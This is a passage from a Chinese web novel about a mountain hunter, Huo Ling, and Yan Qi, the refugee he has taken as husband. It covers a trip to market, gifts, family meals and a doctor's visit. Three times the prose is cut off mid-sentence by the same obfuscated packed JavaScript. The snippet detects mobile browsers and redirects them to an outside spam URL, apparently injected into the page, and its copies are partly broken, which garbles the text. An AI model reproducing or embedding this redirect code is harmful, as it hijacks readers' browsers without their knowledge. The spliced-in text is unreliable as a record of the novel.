此外院里左右两侧还各有两间小屋，黑黢黢的没点灯，不似住人的，多半是存粮和杂物的仓房。 大个儿听见霍凌的声音，早已狂奔出了院门，拉车的牛见了大狗，不安地原地踏步。 “一边儿去，别吓着牛。” 霍凌把它往旁边赶，霍峰和叶素萍闻声出了屋。 “可算回来了，你哥往门外看了好几趟。” 叶素萍打量颜祺，发现他身上披着霍凌的衣裳，看样子两个人相处得不差。 “郎中怎么说？” 霍凌拎着药包慢一步跳下车，霍峰接过去，说让他先进屋吃饭，自己去周家代他还车。 “已退了热，开了三副药，说吃完后再去一趟，好换些调养身子的。” “那就好，一概听郎中的，年纪轻轻，可不好落下什么病根。” 叶素萍语气和善，令颜祺少了些紧张。 这时屋里的霍英不知遇见了什么事，扯起嗓子喊娘，霍凌遂道：“大嫂你进屋吧，外面有我，锅里可有吃食？” “有呢，特地给你俩留的，锅里是粥，菜在笼屉上，一直温着。” “辛苦大嫂。” 颜祺听霍凌这么说，也跟着谢了一句，把叶素萍说得欢喜。 “客气什么，往后都是一家人。” 最要紧的是颜祺这一声“大嫂”叫得好，下半晌霍凌不在，霍峰夫妻俩念叨了半天这事，不知往后小两口能不能齐心过日子。 先前没细想，如今这事真成了，少了提亲下聘那一套，加在一起，总好似差点意思。 这会儿见颜祺肯叫人，心里也就踏实了。 院里重回安静，只有大个儿绕着颜祺一个劲闻。 在它眼里颜祺是霍凌带进家的，还穿着霍凌的衣裳，气味熟悉，白日里又见过，所以没有乱叫。 霍凌弯腰摸摸大个儿脑袋，指了指颜祺道：“这也是咱家人。” 大个儿像是听懂了，上前用鼻子拱了拱颜祺的手。 颜祺莞尔，顺势挠了挠大个儿的下巴颏。 4. 一张床 颜祺一路跟着霍凌进灶屋，方知正屋里当中的一间就是灶屋，左右连着两间卧房。 霍凌见颜祺左右张望，加之过去也听说关内民宅的样式与关外不同，解释道：“关外天冷的时日长，小半年都在烧炕，冬日里菜好了就能端进屋吃，不然在外走两步，汤水都能结成冰。” 他叫上颜祺一起，进了自己住的西屋，摸到油灯点亮。 颜祺打量一圈，发现屋里摆设简单却洁净，靠墙一条火炕，炕头叠放着枕被，中间则是张四方的炕桌。 旁边空地上有一只旧木柜，上面摞一只木头箱，此外还有角落里白惨惨的大件儿，他盯着细看，看了半晌才认出好像是双鹿角。 “那是你猎的鹿？” 哪个汉子不乐意显扬自己的本事，见颜祺感兴趣，霍凌单手提半边鹿角过来，“咣当”放在颜祺脚边，让他随便看。 “不是猎的，是捡的，这时节山上到处都是公鹿换下来的鹿角，你要是喜欢，回头我也带你去捡。” 留下鹿角，他出门盛饭，不知门后的颜祺正小心翼翼地蹲下，伸手先是戳了下鹿角，又大着胆子摸了摸。 农家不可能顿顿荤肉，昨日吃了肉，今日的晚食便是一锅高粱粥，一盘子大白菜炖豆腐，锅边还填了几个杂面馒头。 霍凌端着饭菜进门搁在桌上，放下后先给了小哥儿一碗粥。 粥水的温度透过碗壁传到手掌心，颜祺凑近些，小小地喝了一口，只觉得周身都暖了。 鼻子一酸，一滴泪珠不受控制地砸进碗里，他忙放下碗，拿手背蹭眼睛。 他是不爱哭的，从前在家也不怎么掉泪，今日不知怎的，好生丢人，只想快点忍过这遭。 霍凌看在眼里，也停了筷，拿不准该怎么安慰，他哪干过这样的精细事。 想了想，侄女英子哭闹的时候，他拿点吃的就哄好了，便又去灶屋里翻了翻，自罐子里翻出一枚咸鸭蛋。 回来在桌上一磕，青壳子就破了，往下凹的地方使筷子扎下，淌出黄灿灿的油。 “大嫂最拿手的腌咸蛋，配粥吃下饭得很，你尝尝。” 他筷子一撇，把整个蛋黄都夹进了颜祺的碗，自己啃了一口剩下的蛋白。 谁不知咸蛋的蛋黄最金贵，蛋白空口吃只有咸味，一点不香。 酸涩的情绪只一瞬，颜祺压下去后吸了吸鼻子，趁蛋黄还没彻底沉下去，又分出一半还给霍凌。 “你也吃。” 霍凌吃饭狼吞虎咽，见状赶紧拿半个馒头去接，嘴上道：“就一个咸蛋，还得怎么分。” 不过这几口馒头，确实吃起来比往常更香。 想到过去总见饭桌上哥嫂互相夹菜，往后在山里，他也能这么干。 中途霍峰回来，和颜祺打了个照面，颜祺起身喊了“大哥”。 于霍峰而言，只要是小弟看得上的，乐意娶亲就谢天谢地，如今进了门更是自家人，便让颜祺别客气。 “我家老二是个犟脾气，你以后多担待，他若欺你，你只管找我和你大嫂评理，我们替你教训着他。” 颜祺孤身一人来此，没有娘家人撑腰，汉子家更得做出姿态来好教人放心。 片刻过后，叶素萍送一条刚裁出的新布巾，一套自己的旧衣裳到这边。 “我已让你大哥去烧水了，一会儿打了水简单洗洗，头发就先不洗了，当心着凉，等白日出太阳再说。完事后身上这套衣裳不要了，晚上你先凑合穿我的，多少比老二的合身些，横竖在自家里，不丢人。” 她是妇人家，心思细，霍凌则是后知后觉，意识到家里添了个人，要周全的事属实不少，他两口咽下手里最后一块馒头。 “我想着明日去集上给他买身现成的，再扯几尺布。” 叶素萍颔首，没说这般做费银钱的事。 娶亲的是老二，花钱的人也是老二，她这个做大嫂的不好管太宽。 “这样最好，有一身穿的，再做一身换洗就差不多了。” 又指了指衣裳里裹的兔毛坎肩。 “这也是我从前换下来的，本想过阵子拆了改小些给英子穿，你先拿去穿在里面，暖和得很，等来年入冬前再制身新的。” 她顺势问颜祺会不会裁衣，颜祺说会。 叶素萍复笑道：“如今我也是有妯娌的人，回头咱俩一起做。” 她本还想说，屋里多个哥儿，要置办的零碎东西不止衣裳，却担心在这说多了颜祺过意不去。 哥儿少言寡语，经历那么多，心思本就重，遂打算明天趁霍凌出门前再嘱咐。 吃罢晚食，霍凌本想自己收拾，颜祺非要上手，他想着活计轻省，任他去了。 两人一个刷锅一个洗碗，默契得很。 大锅里热水沸腾，霍凌兑了两大盆出来。 “你先洗着，好了喊我，盆子盛满水太沉，你端不动。” 屋门被人从外面关上，颜祺知道时辰不早，怕耽误霍家人睡觉，没多犹豫，快而安静地脱了身上的脏衣。 这身衣裳还是从老家穿出来的，是娘亲一针一线的手艺，哪怕已破破烂烂，他也不舍得丢，仔细叠好放在一旁，想着明日洗洗，往后就收到箱子底。 盆里水温热正好，摸着暖手暖心，盆边除了新布巾外还有一把皂角。 颜祺蹲在地上，打湿布巾，一点点擦身。 布巾涮了几回，眼看清澈的水变得些微浑浊。 实在脏得很，他脸颊微红，又加重了几分搓身子的力道，后背也用两手拉直了布巾，绕过去来回蹭了好几遍。 差不多以后他换了盆水，仔细又洗了一个来回，周身恢复清爽，只可惜头发还洗不了。 他用布条重新束了一遍，思忖着一会儿问问霍凌有没有旧布头，给他一块把头发裹住，这样不会脏了枕褥。 倒水一事上他不想麻烦霍凌，自己以前在家照样下地干活，力气不小，却忘了今时不比往日。 满水的木盆果然沉得厉害，他费了半天劲，也就挪动了一丝，只好硬着头皮去喊人。 屋外。 霍凌洗漱快得很，洗脸漱口加冲脚，三两下就好了。 为了等颜祺，他搬了个凳在仓房门口陪大个儿扔骨头玩，时不时看一眼门窗。 看着看着，忽而想到小哥儿此时在里面做什么，把自己想得脸红耳热，不得不又起身去打了点凉水洗脸。 足扔了几十个来回，屋子朝院里开的窗方才推出一条缝，小哥儿露出个脑袋，小声喊他名字，音调低而软。 沉甸甸的盆子在霍凌手里轻若无物，地上余些水渍，晾一阵就干了。 他要的旧布霍凌也给他找了出来，是条破了个洞的汗巾子。 “洗干净的，没舍得扔。” 村户人家哪个不节俭，衣服烂得实在补不了，也会留着做鞋面、打袼褙。 “等我用完再洗洗。” 颜祺怪羞赧，侧开身去，低头把头发尽数裹进布里，一根头发丝也没露。 事情都做完，时辰不早，霍凌让小哥儿睡里面，独自踩着布鞋去吹熄了灯。 屋内唯剩月光映亮桌椅轮廓，空气里飘着淡淡的皂角味，他察觉得到小哥儿的紧绷，只说了两字：“睡吧。” 颜祺捏着被角，呼出一口气，慢慢阖上眼睛。 —— 第二天是个艳阳天。 霍凌错过了十五的大集，但镇上平日也有集市，只是没初一十五那么热闹，来的人也少。 带下来的山货还没出手，他等不到下个初一，如今屋里有了夫郎，干劲更足。 依他看，酒席还是要摆的，不然名不正言不顺。 除了酒席，山上和山下都得添置东西，这些本是定亲后男方这边准备的，现在顺序颠倒，照样省不得。 此外离家前大嫂和他列了几样哥儿家的日用，他挨个记下，预备等山货卖完就去逛逛，遇见了就买。 关外太平，地广人稀，种地就能填饱肚，常年在山里讨生活的人越来越少，大部分只在八月采参季时进山碰运气。 眼下青黄不接的时候，大集上贩山货的人尚不太多，今天从街头到街尾，更是只有霍凌一个。 大鹿角一摆，一下子围过来好几人，但霍凌打眼一看就知道都是凑热闹，没有掏钱买的，因此没费心招呼。 背篓里倒出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691354|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的东西有桦树茸和松黄，以及几朵猴头菇。 前两样白龙山里四季皆有的药材，前者生于桦树，后者与松树伴生。 采这两样东西讲究技巧，单块越大的越值钱，若是敲得太碎就容易被压价。 不过因药效不差，向来不愁卖，有人零散着买回去泡水补身子，也有倒腾药材的走商一股脑收走，后者给的价比散卖低，但能一下子结一笔钱，不必守着摊空耗。 猴头菇则都是年前长的，在寒冬里风干得彻底，趁雨季前尚能捡漏，否则等第一场雨落下，全数泡烂，便只能等今年新的菇子生出来。 霍凌搬块大石头垫着坐，先将猴头菇卖出，干货论两称，得了二十文，是一妇人要拿去炖鸡待客。 桦树茸近六斤，一斤时价五十文，松黄四斤冒头，时价一斤三十文。 因不是大集的日子，没有走商来此，只得散卖，熬到午间集都快散了方卖空，加在一起到手四钱多铜子儿。 比起这些，鹿角就难售不少，要是昨日来，霍凌有把握卖出去，一日之差，生意冷热着实悬殊。 不过这东西不怕放，大不了下次再来，他把鹿角重新栓好提起，收了摆摊的草席一卷，趁别家收摊前赶紧去逛。 镇上该有的都有，啥也不缺，他寻了个布行，看靠墙竖起的杆子上悬了不少成衣。 成衣不及扯布自己做实惠，买的人很少，布行悬些成衣多是为了展示自家布料子的好坏。 一听有人打听成衣价钱，伙计动作麻利得很，生怕霍凌作悔的模样。 “您瞧瞧这件，料子多结实。” 又翻开衣裳给他看针脚，“我家裁缝的手艺没话说，针脚直，首尾也收得好，买回去只管穿个三年五年。” 一件粗布衣裳穿个五年，洗也洗得糟烂了，不过卖货的总是喜往夸大了说，不然怎显出自家东西好。 霍凌也做生意，不当回事，只伸手翻着看了看。 哥儿衣裳的样式与男子无异，区别在颜色鲜亮，男子惯穿黑、灰、褐，换做哥儿，像什么靛蓝、竹青、菊青之类最常见，更浅的干活容易脏，乡下人极少会买。 眼前这身则是沉香色，霍凌想了想颜祺的模样，觉得不太衬气色，让人换了靛蓝的。 又比较一番，将竹青色的粗布扯与那做里衣的白坯棉布各扯足了尺寸，前者做一身，后者做两身绰绰有余。 “买你这好些，你给我个实在价，再搭我些碎布头使，我穿着好，下回还来寻你。” 卖布伙计做为难状。 “小店本就只有薄利，实是让不了太多。” 来往说了几回，最后将成衣价让到二百文，半匹粗布七十文，棉布别看没染色，沾了棉就便宜不了，饶了半天只去了个零头，原是一百六十文，现只收了一百五十文。 布头也给了，各色在一起足有一打，且还赠了一双袜儿。 这下子半日赚的已是要花干净，但霍凌没什么不舍得。 原先就常给家里添置物件，买些吃食零嘴，现下给自己夫郎买，愈发收不住手。 衣裳料子外，在外头小摊上捡了一支猪毛的刷牙子，想着牙粉快用完了，以后就是两个人用，耗的更快，索性一并要了一盒。 又买一把木梳、一把铁剪、几根粗针细针、几样棉线彩线，眼看把大嫂嘱咐的都买全了，他把东西收拢在一处，卷进衣裳里省得弄丢，仍边走边往两处看。 片刻后停在一摊子前，这处是一妇人，贩些红绳编的饰物，过年时他曾买一对儿缀着银珠的红头绳给侄女霍英，还教大哥念叨好几日，说他乱花钱。 “这手绳怎么卖？” 他打量一圈，看好一挂着桃木葫芦的。 昨晚他其实没睡实，知晓颜祺夜里也醒了两回，呼吸杂乱，一个劲往被子里躲，怕是做了噩梦。 素有桃木压惊，葫芦保平安的说法，寓意不差，送人正应景。 这等小玩意不算贵，也就当中的木雕值点钱，霍凌给了二十文，揣进怀里妥帖放好。 末了不忘在糖铺子包二两切成指头大小块的饴糖，往肉摊儿上割了一斤带肥膘的肉，用叶子裹了，打道回府。 5. 小葫芦 村口处，一群小子在撅屁股玩泥巴。 二毛见了他，顶着张小花脸兴高采烈地跑过来。 “二凌叔，我小爹说你娶了新媳妇！是真的不？” “小小年纪，成日里惦记新媳妇。” 霍凌笑道：“不是新媳妇，是新夫郎。” “那有喜酒吃没？” 半大小子们最惦记吃喜酒，在乡下，除了过年的年饭，基本只有吃席时能敞开吃肉，沾一顿油水能回味俩月。 别说孩子了，大人听见也要高兴。 霍凌想了想道：“有，只是现下还不知日子，放心，保准少不了你们。” 一言既出，换来小子们一顿欢呼。 …… 太阳当空挂，鹿角在脚下拖出长长的枝桠状的影子。 “汪！汪！” 大个儿永远是第一个听见霍凌回来的，隔着几丈远就急得在家仰脖叫。 霍凌加快步子，院门适时从里面打开，开门的却不是叶素萍，而是颜祺。 他该是洗了头发，正披散着长发晾干，几缕细软青丝沿着肩头滑下，身上套的是叶素萍的衣裳，并不奇怪，只是仍显得宽大。 霍凌眨眨眼，仿佛眼皮子被烫了一下。 “你回来了。” 颜祺察觉到霍凌的视线，不太自在地摸了摸头发。 “嗯，回来了。” 霍凌干咳一声，像是才刚找回自己的舌头。 “怎么洗头发了，进屋去待着，当心见了风头疼。” 颜祺想帮霍凌拿东西，可一看那偌大的鹿角，也知自己提不动，别的东西都在身后背篓里，也不方便伸手去接 只好下意识地跟在汉子身后，步子不敢迈很大。 “已经干了，灶屋里烧着火，我一直在里面烘来着。” 晚来一步的叶素萍看着这情形，忍不住笑。 怎么这俩人遇一起这般拘谨，她不知颜祺，但老二可不是腼腆人。 霍凌并不知颜祺跟在自己后面，转身时差点撞了他。 他尴尬地抓两下后脑勺，“你走路咋也没动静。” 颜祺连忙后退一步。 霍凌想说自己不是那意思，他想跟着就跟着，可看小哥儿低着头不言语，这话又不好说了。 “老二饿了吧，祺哥儿，我这空不出手，你给他端碗饭。” 叶素萍看不下去，出声给手脚不知道往哪里放的颜祺指了条明路。 “啊，好。” 颜祺连着点了几下头，重新钻进了灶屋。 见他走了，叶素萍无奈摇摇头，上前拍了霍凌胳膊一下。 “你得和祺哥儿多相处，他从前不见得是这个性子，在咱们这儿到底人生地不熟。” 霍凌人高马大地叹气。 “我知道。” 他摸了摸前襟，想着幸亏买了手绳，一会儿就拿这个起头说话，再不济就把大个儿叫进屋，两个人逗逗狗。 霍凌今天为了买东西，回来得晚，饿得肚子打雷，先把肉挂上梁后防耗子偷吃，接着便是一顿风卷残云。 颜祺守在一旁。 叶素萍拦了他一上午，这也不让干那也不让干。 而霍家人不开口，许多东西他不好擅自碰，只得等霍凌吃完，预备着收拾碗筷。 “药喝了么？” 饭后，颜祺坐在一旁的小板凳上披着头发认真洗碗，霍凌看见矮炉上的药罐，打开瞧了一眼，里面还有剩下的药渣。 马胡子开的药大多是一副煎两次，早晚各一次。 颜祺的气色比昨天初见时好了不少，想想也是，哪怕底子再亏空，但绝对算不上体弱，不然哪能挺到出关。 霍家人都默契地不问颜祺关于逃荒路上的事，免得揭人伤疤，连最小的霍英也专门嘱咐过。 童言无忌，小孩子有时爱学大人讲话，实际说的什么自己也不完全懂。 “喝了，早晨是大嫂帮我煎了药。” 他端着手上的碗，有些局促。 “是我不好，起迟了，醒时大哥去地里，大嫂说你也早就出门了。” 哪怕是正经娶过门的新夫郎，也没有第一天就万事不管睡懒觉的，需知婆家往往最忌讳一个“懒”字。 昨儿夜里他做噩梦都是被霍家赶出门，结果一早还是睡过了头，慌得下床时差点跌倒。 霍凌盖上红陶制的药罐。 “你是病人，能睡多些是好事，换了我在家也不会叫你。” 他忖了忖，换了个说辞。 “你就想，早日好起来，也能少吃几副药，也是省钱了。” 颜祺何尝听不出这是霍凌在宽慰自己，他点点头，“我记得了。” 家里活计不少，想做永远做不完，但叶素萍看出，只要霍凌不闲着，颜祺也不好意思进屋歇息，就硬是把两人齐齐赶进屋。 “你陪祺哥儿歇个晌，对了，衣裳和料子买了没？” “都买了。” 霍凌摆出一桌，霍英也跟过来，垫脚扒着桌沿看，一眼发现装糖的油纸包。 “小叔，那个是什么？” “你猜猜，猜对了就给你。” 霍凌故意道。 小姑娘聪明得很，猜一次就对了，也是霍凌每回下山去集上，都会往家带东西的缘故，左不过点心和糖果子，偶尔还会买烧饼之类的吃食。 霍凌让颜祺揭开油纸，给霍英分糖。 霍英看了一眼自己娘亲，伸出小手只从中抓了一块。 “吃了糖，应该说什么？” 叶素萍指了指颜祺，提醒她。 “要说谢谢婶伯。” 她已经知道颜祺是小叔娶的夫郎，乖巧的小姑娘谁不喜欢，颜祺弯了弯眸。 二两饴糖分了两包装，霍凌小声跟颜祺讲，让他把那一包都给霍英。 “小孩子好哄，你给她几回东西，她就和你混熟了。” 叶素萍哪里猜不到霍凌打什么小九九，伸手拦道：“你俩别惯她，糖吃多了坏牙，这东西也不便宜，留着回头上山慢慢吃。” 霍英已经抱着糖在舔，顾不得听大人之间的对话，喜滋滋道：“小叔这次买了好多糖。” 霍凌闻言看了看颜祺，小哥儿正低头认真地把打开的油纸折回去，免得霍英拿走时撒一地。 “嗯，这次多买了些，给你婶伯吃的，他喝的药太苦。” 颜祺动作一顿，霍英却恍然大悟，“是哦！” 她生病吃药时，爹娘和小叔也会给自己买糖的。 小姑娘个子矮，扯了扯颜祺的袖口，一本正经道：“婶伯我教你，你少吃点药，多吃点糖，这样就不苦了。” 惹得在场几人都忍不住笑起来。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691355|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包饴糖很快全到了霍英的怀里，高兴得就差满地打滚。 叶素萍没空理她，在一旁先是抖开成衣摸了摸，又拿起料子让颜祺凑近些，对着胸前比量，笑道：“这两个颜色挑得好，鲜亮不说，耐看又耐脏，棉布也软和，就是你也没个数，一扯好些布，做完衣裳还能剩下不少。” “那就再裁几条帕子、头巾什么的，或是留着下次用。” 霍凌不懂裁缝的事，只想着颜祺到自家来双手空空，肯定什么都缺，布这东西纵使多买些，也没有浪费的。 “是这个理。” 叶素萍夸他细心，娶了夫郎就是不一样。 霍凌清清嗓子，低头收拾东西，仿佛很忙。 叶素萍没留意，低头麻利地折好衣裳和料子，同颜祺道：“你自己掂量着做，我也帮你一起，新的这套过一遍水，现在这个天儿，吹一夜就干了，明日就能穿。” 一下子得了新衣裳和新布，颜祺很感激霍凌，遂想了想，决定之后用多余的布给霍凌做点什么。 还有家里其他人，也不能落下。 商量好做衣裳的事，叶素萍带走了一个劲上蹿下跳的霍英，分明是个姑娘，却实打实是个皮猴儿，从小就闹人得很。 等人离开，霍凌不知从哪里寻了个旧柳筐，小小一个，正好放在炕桌上。 “这个给你当针线筐子，你再看看缺什么，回头我再去买。” “很齐全了，不缺什么。” 颜祺侧坐在炕上，依着霍凌的意思，把几样东西挨个放进小筐。 他压根没想到霍凌还买了一把新梳子，不禁问道：“我看你炕头有把梳儿，怎又买了一个？” 霍凌道：“那梳子被我用得糙，梳齿都缺了好几个，总挂头发，扯得头皮生疼，一把新的也不贵，能用好些年。” 他打量小哥儿神色，“我特地挑了个刻花儿的，你喜欢不？” 颜祺抿唇浅笑，“喜欢。” 这会儿没有别人在，他诚心道：“谢谢你与我添这些日用，我从来你家，总在花你的银钱。” 霍凌不爱听这个。 “以后这话不用提，一起过日子，说了岂不生分。” 眼前外面大嫂和侄女说着话进了东屋，他掩了门，朝小哥儿招招手。 “还有一样，你过来瞧瞧如何。” 说罢自衣襟里拿出那红绳来，让小哥儿仔细看，颜祺的手指摸了摸质地光溜溜的小葫芦，眼底难掩惊讶。 “这……也是给我的？” “还能给谁，我也戴不上不是。” 霍凌打了个趣儿，让他伸出手来，自己扯松了红绳帮忙系上。 红绳收到最紧，还是在小哥儿腕子上来回晃荡，霍凌捏了一下那对儿两侧突出来的骨头。 “以后多吃点饭，养胖些身子骨才结实，不然我们这儿冬日里太冷，山里更甚，容易生病。” 颜祺任他攥着手腕，说不上自己是什么心情。 哪怕今天只是认识霍凌的第二日，他也已觉出汉子对自己的关照。 对于姑娘和小哥儿而言，嫁鸡随鸡嫁狗随狗，成亲后日子好不好，全看找了个什么样的汉子，有的人命好，有的人命苦。 昨日霍凌愿意领自己回家，他就知晓霍凌是个好人，如今更是确信了这一点。 心头的最后一点疏离，也在这一刻消散了。 6. 急不得 喝罢三天苦药汤子，总算到了去麻儿村寻马胡子复诊的时候。 一早吃罢早食，两人结伴出了门。 霍凌见小哥儿走在离自己半步远的地方，不再是低着头跟在身后，自觉两人比先前是亲近了些。 他心里有数，有些事不能强求，乍一下将两个陌生人捏在一起，别说是颜祺，大大咧咧如自己，也时常不知该如何相处。 对方就像是在林间见着的兔儿，看着神情如常，实际始终绷着一根弦。 他无意将对方逼太紧，就说过去三晚上两人虽睡一张炕，盖的却是两条被。 “麻儿村不远，咱们不赶时辰，慢慢走着去。” 上回借了牛车是因颜祺走不动路，总去借牛车也不好，牲口金贵，各家都宝贝着，借一次便是一次的人情债。 颜祺也没想着回回出门都能坐车，那得是什么好人家的日子，村户人早就习惯了去哪儿都靠两条腿，莫说三刻钟，去镇上乃至县城，赶上不舍得花销的，两三个时辰也能走下来。 “嗯，有个作伴的，说着话也就到了。” 霍凌闻言恍惚一下子，心想，以后我也是有人作伴的了。 怪不得当初大哥刚成亲时天天呲着大牙傻乐，大嫂还成日嫌他像个傻子。 可见成亲是不错。 出村一趟费脚程，霍凌没空手，特地拎了家里的两只油壶，提了一口袋火麻籽，预备去麻儿村的油坊榨些灯油。 火麻籽就是野麻的种子，这东西遍地都是，除却野生野长的，还有各家在地头特地种的，一概都叫野麻。 因麻籽能榨油，还能扒麻杆搓麻绳，家家户户都离不了。 一斤麻籽一般能出三两上下的油，而一斤灯油若省着些用，能用上一个月。 正好山上山下灯油都剩的不多，昨晚霍家兄弟俩特地去家中杂屋里称了十斤麻籽，都是去年秋后家里打下来后存住的。 一次多榨些，就有日子不必再去，尤其霍凌还要从山下往山上带。 大清早村路上人不多，偶尔有一个，多是出来打水的汉子，家里一早都赶着要水吃用，皆行色匆匆，和霍凌点点头打个招呼就罢，路边树下也未有聚在一处说闲话的人，倒让颜祺松了口气。 进了霍家门三日，他都在养病，那药喝下去就惹人困顿，总想睡觉，压根没迈出过门。 今天出门且要走远路，他已做好了要被村里人评头论足的准备，不过好在这会儿暂且不用应对。 霍家在下山村靠东的几户，走到西边时霍凌忽而指了指其中一户。 “这就是林家，你认个门，回头也好和肖家哥儿串门子。” 颜祺顺势看了看左右，仔细记清楚位置，这户也好认，看得出林家的日子过得不算太好，像村里好些人家的木屋都已是瓦顶了，甭管新旧，起码都使的是青瓦，一路看过来，独林家还是稻草顶。 霍凌见颜祺都走过了还在扭头往回看，想来和肖明明交情不差，便有意跟他多说了几句林家的境况，好让他放心些。 “林长岁是个正派汉子，除了说话不利索，旁的都可靠。” 随后又说起林家这几年穷苦的因由。 “他那爹活着时是个酒蒙子，几碗马尿下肚就不知自己姓啥，打完媳妇打孩子，把家底喝得穷薄不说，后来更是生生把自己喝死了，为了给他瞧病，还赔进去家里几亩良田。不过自他没了后，林家的日子倒是过得平顺起来。” 平日林长岁除了和他娘一道种地，农闲时还会去镇上做些散工，再加上素日节俭，无甚大的花销，估计熬过这几年缓一缓劲儿，日子就能越发好过。 颜祺听了这话，心头果然松快了不少，他遇上了霍凌自觉是撞了大运，也盼着肖明明能嫁个好人家，往后两人一道在下山村还可互相照应。 彼此都没了亲眷，便当对方是娘家人。 “吃酒是不好，原先我老家村里也有个老汉，惯是爱吃酒的，整日红着一张脸，家里夫郎忍不下，索性抱着孩子改嫁，后来人也是没了。” 难得颜祺主动开口说点什么，霍凌忍不住问：“是怎么没的？” 颜祺回忆一番道：“是个大雨天的第二日，土路湿滑，雨水积成个大水泡子，他醉了后脚滑跌进去，偏巧脸朝下，就那么给淹死了，我后来大着胆子去看那水泡子，实则还不及小腿深，按理说，哪能淹死人呢。” 可见人要倒霉，怎也躲不过。 霍凌听罢，说道：“我向来没有吃酒的习惯，也就偶尔起兴时才喝些，轻易喝不醉，赶山前更是一滴不碰，你放心就是。” 这话说在了颜祺心坎上，确实自少时听闻那件事后，他就对酒这东西敬而远之，家里长辈过年节时打酒来吃，也总是早早煮好醒酒汤备下，免得惹出什么灾祸。 “汉子多是喜吃几口酒的，心下有分寸就好。” 在他看来，酒是粮食酿的，有那银钱多买些粮来多好，何必非要吃酒。 他曾蘸着筷子尝过一丁点高粱酒，只觉得辣嗓子，咽下去后热气直冲天灵盖，差点把他眼泪激出来，根本不好喝。 但这话他没和霍凌讲，讲多了显得自己要管人家，惹了厌烦多不好。 霍凌却瞧着挺高兴，还补了一句，“嗯，都听你的。” 行至村口，前面现出好几个挎着篮子结伴去地里挖野菜的村人。 当中有妇人也有夫郎，三两相携有说有笑，若只霍凌一个汉子，以他的习惯，多半直接闷头走过，但这回多了颜祺，难免被人唤住搭话。 “霍二，一早的这是往哪去？” 霍凌回身去看，见是齐家的红梅嫂，她和叶素萍关系近，常约在一处做针线，遂提起手里的布口袋晃了晃。 “家里灯油见底了，赶早儿去麻儿村一趟，好换些灯油来。” 相比齐红梅，她身边的另一妇人眼珠子一直挂在颜祺身上，上下打量个没完。 “这就是祺哥儿吧？来村里几日了，你小子藏得深，我们愣是一眼没见着。” “他身上不爽利，几日都病着，这不今日瞧着天好，和我一道去麻儿村认认路。” 霍凌不提要带颜祺去看郎中的事，对于外人，他一向是能少说便少说，否则压根猜不到等你走后，同样的话落在不同的人嘴里，会传成什么样。 颜祺跟着喊了人，虽不认识，都叫嫂子总没错。 说话的妇人是齐红梅的弟妹金氏，曾想给霍凌说亲，最后没成，为免她继续说些有的没的，齐红梅趁机插话道：“那你们赶紧去，别耽误了，去晚了油坊那头有人抢了先，又要多等好一阵。” 话说完便也就此分开，金氏等人走远了，朝齐红梅努努嘴，“嫂子你可瞧见了，那哥儿一身簇新衣裳，霍老二真是舍得。” 又道：“颜家哥儿病恹恹的，还没进门就先吃药，去麻儿村怎可能只是为了榨灯油，多半还是去找马胡子。” 她“啧”几声，“本还以为霍老二多高的眼光，拖到今日，愣是配了这么一号。” 想当初她曾想把自己娘家堂叔家的哥儿说给霍凌，然而任她怎么说霍凌赚得多，家里月月都要吃几回肉，连狗都有棒骨啃，堂叔家仍是不乐意，还怪她怎说个赶山的汉子，哪是盼堂弟好的样子，把她气得够呛。 然则人到底是爱偏向自家亲戚，这事过了两年，金氏眼看颜祺这等模样不多出众的哥儿进了霍家门，都能混一身新衣裳，不怪堂叔家没眼光，反倒酸起颜祺来。 齐红梅眼皮都不抬一下，淡淡道：“又没花你的钱，扯你的布，管那么多作甚。” 金氏鼻子里哼出一口气，还待说什么，一低头却先看见一片婆婆丁，顿时把霍老二抛到脑后。 “嫂子快来！” 天大地大，再没什么比这时节挖野菜更要紧的。 另一边。 霍凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691356|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和颜祺走了好半晌，说了不少话，不觉腿脚累，待瞧见了路那头的几间村屋，便知是到了麻儿村的地界。 榨油需要时间，故而先去了王家油坊放下火麻籽，若是自带麻籽来榨油，一斤只收两文钱，比直接买火麻油便宜许多。 霍凌数了二十个铜板给出去，王家夫郎收了银钱，见颜祺眼生，问道：“这是你家的谁，从前没见来过。” “是我夫郎，姓颜。” 王家夫郎惊讶一瞬，邻近几个村谁不知霍家老二打了好些年光棍，没成想不声不响地领了个哥儿回家，面上客气寒暄，“原是颜哥儿。” 随后彼此说定晚些时候来取灯油，霍凌和颜祺这才离开。 相较油坊，马胡子家更好寻，嗅着草药味走便错不了。 马胡子见来人是霍凌和颜祺，喊人进屋坐。 “你们来的倒是早，可见是把这事放在心上的。” 身为郎中，哪个不喜这样听话的病患，最怕那等怕花钱躲着不来看诊的，等小病拖成大病，叫悔也来不及。 